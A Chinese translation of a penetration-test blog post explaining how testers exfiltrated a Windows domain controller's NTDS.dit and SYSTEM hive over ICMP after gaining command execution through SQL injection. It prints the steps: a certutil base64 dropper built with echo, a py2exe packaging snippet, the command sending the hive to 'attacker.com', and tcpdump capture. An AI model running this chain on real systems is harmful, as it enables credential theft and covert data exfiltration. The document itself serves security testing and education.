通过ICMP隧道进行文件传输

前言

在最近的一个渗透测试项目中,我们遇到的一种情况,服务器上不允许出站流量。只有ICMP(和DNS)的流量被允许。在这篇博客文章我们来讨论如何使用ICMP隧道传输一个未被过滤的数据。

攻击场景

场景是一个web应用程序的渗透测试。该web应用程序是唯一可用的连在客户的内网上的,提供了一个VPN访问应用程序。该VPN只允许我们连接到这台主机(Web服务器IP)和一个端口(443)。

攻击

事实证明,我们成功地做到这一点:

  • web应用程序存在sql注入漏洞。
  • web应用程序使用sa连接到mssql数据库。
  • 我们可以使用xp_cmdshell来执行系统命令(sqlmap),需要注意的是通过SQL注入获得的shell不是交互式的。我们发出的命令首先被存储在数据库中的表,然后通过SQL查询中读出。另外,站库分离。 Web服务器没有以外的任何端口。
  • SQLServer并不是以system权限运行的,但是是一个域管理员帐户(domain\ sqlsvc)。
  • 结果,我们获得了域控。

阻碍

主机在内部域中没有外出的流量,我们试图寻找代理服务器,然后并没有找到,唯一的连接只允许ICMP和DNS流量。所以,我们现在所面临的问题是:

  1. 怎么不通过借助工具来获取管理的hash(metasploit, fgdump, pwdump等)。
  2. 即使我们获得了hash,那么我怎么把他导出到我们的机器上进行离线破解。

问题1很快被解决了,我们从一个有趣的博客上找到了方法,使用Volume Shadow Copies技术获取了NTDS.dit和system.hive这两个文件。

现在我们有了hive的文件,我们需要把他发送到我们的机器上进行离线破解,我们希望有这么一个工具,能够把hive文件以icmp数据包的形式从目标机上发送到我们的机器上,然后还需要一个数据包捕获工具,捕获所有的请求(ping)流量。

我们找到了一些现有的关于icmp隧道的工具,但是问题是:

  1. 貌似现有的工具中没有能够传递文件
  2. 我们怎么把客户端传到目标机上面

所以我们研究了一下,并且找到了方法:

  1. 把hive转换为base64
  2. 把这个base64的文本文件分割为小块
  3. 使用分割后的块创建一个icmp隧道,使之跟我们的服务器具有相同的序列号
  4. 在我们的机器上运行流量捕获工具捕获流量
  5. 当接收到所有数据之后,删除所有的请求头,删除所有包含ping请求的数据
  6. 在我们的机器上进行base64解码

幸运的是,windows默认安装了一个名为certutil的软件,能够轻松帮助我们进行base64编码。

然后我们使用certutil对hive文件进行base64编码

1

当我们有编码后的文件,我们需要创建成块,使用ICMP发送到我们的服务器。这是比较
麻烦的,所以我们创建了一个python脚本,把base64编码的文本作为输入将其划分成块,以ICMP的请求方式把每块发送到指定的公网IP地址的。

然后我们还得把py文件转换成exe文件,因为windows默认不装python的,可以使用py2exe,下面是一个示例代码片段。

Code:

from distutils.core import setup
import py2exe, sys, os
sys.argv.append('py2exe')
setup(
 options = {'py2exe': {'bundle_files': 1, 'compressed': True}},
 windows = [{'script': "ICMP.py"}],
 zipfile = None,
)

要注意的是:当我们使用bundle_files选项来转换文件的时候,将会输出一个独立的可执行文件,包含所有需要的模块和使用的python解释器

现在有了exe文件,那么我们怎么把这个东西传到目标机器上呢,看下面

  • 1.使用certutil把exe转换为base64编码的文本。

2

  • 2.大概80kb吧,我们决定把它转换成块,8000个字符一行,大概660行。要注意的是echo命令有限制长度的,所以使用这个方法。
  • 3.所以我们有660行左右的web请求,实质上是通过SQLi来执行的。
cmd.exe /c echo "base64_text">>ICMPt_transmitter.txt
  • 4.然后我们执行以下命令,最终在目标上面得到了exe文件。
certutil –decode ICMP_transmitter.txt ICMP_transmitter.exe

现在我们就来执行exe文件,要传递的文件和接受的地址作为参数

ICMP_transmitter.exe "hive" "attacker.com"

它使用certutil把hive文件转换为base64编码,创建块,并且以icmp的方式发送块。

在我们的服务器上使用tcpdump来捕获所有的icmp流量,保存为pcap文件,当传输完成之后,通过tcpdump的参数建立base64编码的文件,当最终的文件确定之后,使用certutil来转换。

tcpdump -i eth0 ICMP and ICMP[ICMPtype]=ICMP-echo -XX -vvv -w output.txt

文件的完整性可以对比传输前后的md5值。

步骤

Step 1:使用certutil计算目标机上文件的md5值。

3

Step 2: 在我们的机器上启动tcpdump捕获所有的icmp数据包。

4

Step 3:使用ICMP_transmitter.exe把hive文件传输到我们的机器上。

5

Step 4: 当传输结束之后,使用ctrl+c来结束tcpdump的进程,输出的文件是pcap后缀或txt后缀可以使用-w参数来指定。

6

Step 5: 使用parser.sh来解析输出文件,获取到了干净的base64编码的文件命名为transmitted.txt

7

Step 6: 如果你的系统是windows那么同样使用certutil命令来把transmitted.txt文件转换为hive文件,如果是linux/mac系统,那么使用base64 -d命令。然后再检查下md5是否相同。

8

这可能不是个优雅的方法,但是确实奏效了。

工具

参考

https://gist.github.com/pklaus/856268 works perfectly!

https://technet.microsoft.com/en-us/library/cc732443.aspx

https://www.py2exe.org

http://www.py2exe.org/index.cgi/SingleFileExecutable

 

*原文:notsosecure  Mottoin翻译发布

原创文章,作者:Moto,如若转载,请注明出处:http://www.mottoin.com/article/intranet/89600.html

发表评论

登录后才能评论

联系我们

021-62666911

在线咨询:点击这里给我发消息

邮件:root@mottoin.com

工作时间:周一至周五,9:30-18:30,节假日休息

QR code